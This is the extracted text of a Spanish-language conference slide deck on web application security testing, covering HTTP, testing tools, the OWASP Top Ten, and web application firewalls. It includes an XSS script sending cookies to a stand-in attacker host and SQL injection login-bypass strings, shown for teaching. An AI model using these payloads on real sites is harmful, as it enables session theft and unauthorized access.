Testing de Seguridad de Aplicaciones Web
Julio C. Ardita, CISM.Julio C. Ardita, [email protected]@cybsec.com
16 de Noviembre de 201316 de Noviembre de 2013Coatzacoalcos Coatzacoalcos -- MEXICO MEXICO
Testing de Seguridad de Aplicaciones Web
Temario Temario
- Protocolo HTTP
2
- Herramientas de Testing Web.
-- Vulnerabilidades más comunes Vulnerabilidades más comunes
- Web Application Firewall
Testing de Seguridad de Aplicaciones Web
Protocolo HTTPProtocolo HTTP
3
Testing de Seguridad de Aplicaciones Web
Arquitectura Web Física
4
Testing de Seguridad de Aplicaciones Web
Arquitectura Web Lógica
5
Testing de Seguridad de Aplicaciones Web
Características del Protocolo HTTP
HTTP/1.1 definido en RFC 2616
• Métodos: GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE,
CONNECT
• Encabezado “Host”: indica el nombre del servidor al cual se le
realiza el pedido, permite que se utilicen hosts virtuales.
6
realiza el pedido, permite que se utilicen hosts virtuales.
• Sin Estado.
• Conexiones TCP persistentes por defecto.
• Encabezado “Connection”: permite forzar el cierre de la conexión
una vez obtenida la respuesta.
• Dos tipos de mensajes: Request y Response.
Testing de Seguridad de Aplicaciones Web
Formato del Mensaje HTTP “REQUEST”
MÉTODO <ESPACIO> URI <ESPACIO> VERSIÓN <CRLF>
[ENCABEZADOS]
<CRLF>
[CUERPO DEL MENSAJE]
7
[CUERPO DEL MENSAJE]
• Métodos: , GET, HEAD o POST en HTTP/1.0. GET, HEAD, POST, OPTIONS,
PUT, DELETE, TRACE o CONNECT en HTTP/1.1.
• Versión: HTTP/1.0 o HTTP/1.1
• Los Encabezados pueden ser de tres tipos: general, de petición y/o de
entidad.
• URI puede ser: *, URL absoluta, o PATH absoluto.
Testing de Seguridad de Aplicaciones Web
Métodos HTTP
• OPTIONS: Métodos disponibles sobre el recurso especificado.
• GET: Solicitud del recurso especificado.
• HEAD: Encabezados del recurso especificado.
• TRACE: Permite realizar debugging. El servidor responde con el mensaje de
solicitud como cuerpo del mensaje de respuesta.
• POST: Permite enviar información al servidor.
8
• POST: Permite enviar información al servidor.
• PUT: Permite “subir” los datos al servidor para que sean accedidos a
través de la URI especificada.
• DELETE: Eliminar el recurso indicado.
• CONNECT: Se utiliza con un servidor Proxy que puede ser utilizado como
túnel.
Testing de Seguridad de Aplicaciones Web
Ejemplo de un Mensaje HTTP “REQUEST”
GET http://www.mibanco.com.ar/ HTTP/1.1
Host: www.mibanco.com.ar
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8)
Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2) Paros/3.2.2
9
Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2) Paros/3.2.2
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,tex
t/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Testing de Seguridad de Aplicaciones Web
Formato del Mensaje HTTP “RESPONSE”
VERSIÓN <ESPACIO> CÓDIGO_DE_ESTADO DESCRIP <CRLF>
[ENCABEZADOS]
<CRLF>
[CUERPO DEL MENSAJE]
10
[CUERPO DEL MENSAJE]
• Versión: HTTP/1.0 o HTTP/1.1
• El ¨código de estado¨ es un número de tres dígitos que indica el estado de
la respuesta.
• ¨Descrip¨ es una breve frase que explica el código de estado.
• Los Encabezados pueden ser de tres tipos: general, de respuesta y/o de
entidad.
Testing de Seguridad de Aplicaciones Web
Ejemplo de un Mensaje HTTP “RESPONSE”
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
Content-Location: http://www.mibanco.com.ar/index.html
Date: Thu, 30 Jun 2005 09:33:33 GMT
11
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Tue, 28 Jun 2005 13:15:58 GMT
Content-Length: 577
<html>
<head>
<title>Mi.Banco - Pagina Principal</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
...
Testing de Seguridad de Aplicaciones Web
Códigos de Estado
• Rango 1xx: Informativos, se recibió el pedido y se está procesando.
• Rango 2xx: Pedido Exitoso, se recibió el pedido, se comprendió y se
acceptó.
• Rango 3xx: Redirección, se debe realizar otro pedido para completar la
solicitud.
12
solicitud.
• Rango 4xx: Error del Cliente, la solicitud está mal formulada o no se puede
llevar a cabo.
• Rango 5xx: Error del Servidor, el servidor no pudo completar un solicitud
aparentemente válida.
Testing de Seguridad de Aplicaciones Web
Códigos de Estado – Algunos Ejemplos
• "200" OK: La solicitud fue exitosa.
• "301" Moved Permanently: Se le asignó una nueva URI al recurso.
• "302" Found: El recurso está accesible, temporalmente, en otra URI.
• "304" Not Modified: No se modificó el recurso desde que el cliente lo accedió.
• “400" Bad Request: Petición errónea.
13
• “400" Bad Request: Petición errónea.
• "401" Unauthorized: No está autorizado a acceder el recurso, se debe enviar
los encabezados de autenticación.
• "403" Forbidden: El servidor comprende la solicitud pero no va a permitir el
acceso al recurso.
• "404" Not Found: Recurso no encontrado.
• "405" Method Not Allowed: No se permite el uso del método sobre el recurso.
• "500" Internal Server Error: Error en el servidor al procesar el pedido.
• "505" HTTP Version not supported: versión HTTP no soportada.
Testing de Seguridad de Aplicaciones Web
Manejo de Sesión: Cookies
- Mecanismo para el manejo de estado en el protocolo HTTP.
- Se define en los RFC 2109, y RFC 2965 añade la versión 2.
- Define el encabezado Set-Cookie:
•Set-Cookie: NAME=nombre; Comment=comentario; Domain=dominio;
Max-Age=delta-segundos; Path=path; Secure; Version=version
14
Max-Age=delta-segundos; Path=path; Secure; Version=version
• Los campos NAME, y Version son los únicos requeridos.
• Domain: dominio para el cual la cookie es válida.
• Max-Age: tiempo de vida, en segundos, de la cookie.
• Path: especifica el subconjunto de URL’s para las que aplica la cookie.
• Secure: la cookie debe ser manejada de forma “segura” a definir por el
Navegador Web.
Testing de Seguridad de Aplicaciones Web
Herramientas de Herramientas de Testing WebTesting Web
15
Testing WebTesting Web
Testing de Seguridad de Aplicaciones Web
Proxy Local: Burp
Un proxy local permite interceptar los pedidos del navegador y modificarlos.
16(http://portswigger.net/burp/)(http://portswigger.net/burp/)
Testing de Seguridad de Aplicaciones Web
Scanner de Vulnerabilidades: Nikto
Un Scanner de vulnerabilidades analiza el servidor verificando problemas
comunes de configuración, versiones desactualizadas o vulnerables, y
problemas de seguridad de distintos servidores y aplicaciones Web.
17((http://www.cirt.net/code/nikto.shtml)http://www.cirt.net/code/nikto.shtml)
Testing de Seguridad de Aplicaciones Web
Scanner de Vulnerabilidades: N-Stealth
18
(www.nstalker.com)(www.nstalker.com)
Testing de Seguridad de Aplicaciones Web
Vulnerabilides más Vulnerabilides más
comunescomunes
19
comunescomunes
Testing de Seguridad de Aplicaciones Web
Nr Vulnerabilidad
A1 Cross Site Scripting (XSS) Secuencia de Comandos en Sitios Cruzados
A2 Injection Flaws Fallas de Inyección
A3 Malicious File Execution Ejecución de ficheros malintencionados
A4 Insecure Direct Object Reference Referencia Directa a Objetos Insegura
Vulnerabilidad de Falsificaci n de Petici n en
OWASP – TOPTEN
20http://www.owasp.org/
A5 Cross Site Request Forgery (CSRF) Vulnerabilidad de Falsificación de Petición en Sitios Cruzados
A6Information Leakage and Improper Error Handling
Revelación de Información y gestión Incorrecta de Errores
A7Broken Authentication and Session Management Pérdida de Autenticación y Gestión de Errores
A8 Insecure Cryptographic Storage Almacenamiento criptográfico inseguro
A9 Insecure Communications Comunicaciones Inseguras
A10 Failure to Restrict URL Access Falla de restricción de acceso a URL
Testing de Seguridad de Aplicaciones Web
Cross-Site Scripting
Un ataque de Cross-Site Scripting consiste en la inclusión de un script en una
página Web que se ejecuta cuando la página es accedida por un usuario.
2121
Testing de Seguridad de Aplicaciones Web
Cross-Site Scripting: ¿Qué se puede hacer?
Robo de Credenciales:
<script>document.location='http://www.atacante.com.ar/cgi-bin/cookie.cgi?'
+document.cookie</script>
El script anterior envía las cookies de quién lo ejecute.
2222
Redirección de Cliente:
<script>document.location=¨http://www.sitiocompetencia.com.ar</script>
El script anterior redirecciona al usuario a el sitio especificado.
En resumen... ¡Lo que se pueda hacer con Javascript!
Testing de Seguridad de Aplicaciones Web
Cross-Site Scripting y Phishing
Ejemplo:
2323
La URL es la del sitio, sin embargo se visualiza otro sitio a
través de una vulnerabilidad de XSS
Testing de Seguridad de Aplicaciones Web
Escalación de Privilegios y Manejo de Sesión
• Session Prediction: Las aplicaciones vulnerables generan credenciales de
autenticación predecibles; permitiendo deducir las credenciales de un usuario
autenticado o las que van a ser asignadas al próximo usuario que se
autentique.
2424
• Ejemplo: La cookie asignada a cada usuario se realiza en forma
secuencial.
Testing de Seguridad de Aplicaciones Web
Es una técnica cuyo objetivo es el de ¨inyectar¨ consultas SQL
arbitrarias en páginas vulnerables que interactúan con una Base de
Datos, logrando de esta forma obtener, modificar y/o eliminar
SQL Injection
2525
información sensible.
Atacando ciertos motores de Bases de Datos es posible, también,
lograr la ejecución de comandos del Sistema Operativo.
Testing de Seguridad de Aplicaciones Web
SQL Injection – Conceptos Básicos
2626
Testing de Seguridad de Aplicaciones Web
SQL Injection – Demostración: Eludiendo Logins
SELECT * FROM Usuarios WHERE Username = ‘luis’
AND Password = ‘clave’
2727
SELECT * FROM Usuarios WHERE Username = ‘’ OR 1=1--‘
AND Password = ‘aa’
SELECT * FROM Usuarios WHERE Username = ‘admin’--‘
AND Password = ‘aa’
Testing de Seguridad de Aplicaciones Web
Web Application Web Application FirewallFirewall
28
FirewallFirewall
Testing de Seguridad de Aplicaciones Web
¿ Qué es WAF ?
Una WAF es un Firewall de aplicaciones web que funciona a nivel de
la capa 7 del modelo OSI.
Nos permite frenar intentos de intrusión a nivel de aplicaciones web.
29
Nos permite frenar intentos de intrusión a nivel de aplicaciones web.
Existen varias soluciones:
- URLSCAN de Microsoft
- Mod_Secuity sobre Apache.
- Soluciones comerciales (CISCO, BlueCoat, F5, etc).
Testing de Seguridad de Aplicaciones Web
ModSecurity
• Módulo para el servidor Web Apache.
• Actúa como IDS entre el cliente y el
servidor Web; filtra los pedidos en base a
expresiones regulares.
• Nos permite filtrar por:
30
• Nos permite filtrar por:
• El encabezado HTTP
• La URL
• El payload
• Las acciones permitidas son:
• Logear el pedido
• Rechazar el pedido (permite especificar
el HTTP status de la respuesta)
• Redireccioner el pedido
• Dejar pasar el pedido
(www.modseurity.org)
Testing de Seguridad de Aplicaciones Web
Modos de Operación del WAF
• Proxy Reverso: Se redirige el tráfico HTTP(S) para que pase a través del
WAF que está actuando como un proxy reverso. Es decir, recibe las peticiones
HTTP, las resuelve contra los servidores Web y, luego, las reenvía al cliente.
Esto le permite procesar los pedidos y las respuesta en busca de ataques o
resultados de los ataques.
31
resultados de los ataques.
Testing de Seguridad de Aplicaciones Web
Capacidades de Filtrado: ¿Qué puede ver?
El WAF puede actuar sobre las siguientes porciones de un pedido
HTTP y/o de una respuesta HTTP:
• MétodosMÉTODO <ESPACIO> URI <ESPACIO> VERSIÓN <CRLF>
32
• Métodos
• Versión del protocolo
• Encabezados
• Cuerpo del mensaje
• URL
• Código de respuesta
• IP Origen
• …
[ENCABEZADOS]
<CRLF>
[CUERPO DEL MENSAJE]
VERSIÓN <ESPACIO> CÓDIGO_DE_ESTADO DESCRIP <CRLF>
[ENCABEZADOS]
<CRLF>
[CUERPO DEL MENSAJE]
Testing de Seguridad de Aplicaciones Web
Conclusiones
El área de testing de seguridad de aplicaciones web es muy amplio y
requiere de conocimientos de redes, bases de datos, sistemas
operativos y programación.
33
Se detectan vulnerabilidades de seguridad en el 70% de las
aplicaciones web que nosotros hemos evaluado.
Es una excelente área para investigar y desarrollarse.
Testing de Seguridad de Aplicaciones WebAplicaciones Web
Julio C. Ardita, CISM.Julio C. Ardita, [email protected]@cybsec.com
16 de Noviembre de 201316 de Noviembre de 2013Coatzacoalcos Coatzacoalcos -- MEXICO MEXICO